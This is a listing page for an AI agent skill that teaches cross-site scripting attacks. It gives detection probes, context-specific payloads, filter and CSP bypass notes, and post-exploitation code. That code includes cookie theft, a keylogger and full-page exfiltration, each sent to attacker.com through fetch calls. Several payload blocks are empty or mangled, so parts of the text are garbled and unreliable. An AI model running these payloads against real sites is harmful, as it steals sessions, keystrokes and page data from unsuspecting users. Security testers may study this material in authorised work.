# Xss > Cross-Site Scripting expert methodology covering reflected, stored, DOM-based, and mutation XSS. Includes CSP bypass, filter evasion, and post-exploitation (session hijacking, keyloggers, BeEF integration). - Skill: `sunilgentyala/xss` (Agent Skill) - Install (CLI): `npx skillmds@latest add sunilgentyala/xss` - Raw SKILL.md: https://api.skillmd.com/api/skills/sunilgentyala/xss/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Security - License: Apache-2.0 - Author: sunilgentyala (https://skillmd.com/u/sunilgentyala) - Updated: 2026-09-17 - Page: https://skillmd.com/skills/sunilgentyala/xss --- # Cross-Site Scripting (XSS) ## Attack Surface Reflected: URL parameters, search fields, error messages, redirect parameters. Stored: comments, profiles, names, addresses, any user-controlled content persisted and rendered to others. DOM-based: JavaScript that reads from location.hash, document.referrer, location.search, postMessage without sanitisation. ## Methodology ### Phase 1 — Detection ```html "> '> javascript:alert(1) {{7*7}} -- template injection test alongside XSS ``` Track where your test string appears in the response. Identify the context: - HTML body (tag injection) - HTML attribute (attribute injection) - JavaScript string (JS injection) - JavaScript in `href`/`src` (URL context) ### Phase 2 — Context-specific payloads **HTML body:** ```html ``` **HTML attribute:** ```html " onmouseover="alert(1) " onfocus="alert(1)" autofocus=" "> ``` **JavaScript string context:** ```javascript '-alert(1)-' '-alert(1)// `;alert(1)// ``` **href/src URL context:** ``` javascript:alert(1) data:text/html, ``` **DOM-based (source: location.hash):** ``` http://target/#"> http://target/#javascript:alert(1) ``` ### Phase 3 — Filter bypass ```html ipt>alert(1)ipt>
// JSONP bypass (if jsonp endpoint on allowed domain) // 'unsafe-inline' with nonce: brute force or leak nonce value // 'strict-dynamic': find script gadget in allowed scripts ``` ### Phase 5 — Post-exploitation **Cookie/session hijacking:** ```javascript fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie)) ``` **Keylogger:** ```javascript document.addEventListener('keypress', e => fetch('https://attacker.com/keys?k='+e.key)) ``` **Full page exfiltration:** ```javascript fetch('https://attacker.com/page', { method: 'POST', body: document.documentElement.innerHTML }) ``` **BeEF hook:** ```html ``` ## Tools - Burp Suite Pro — scanner + repeater - [XSStrike](https://github.com/s0md3v/XSStrike) — advanced XSS detection - [dalfox](https://github.com/hahwul/dalfox) — fast XSS scanner - [BeEF](https://beefproject.com) — browser exploitation framework - [XSS Hunter](https://xsshunter.com) — blind XSS detection ## OWASP Top 10 Mapping - A03:2021 — Injection (XSS)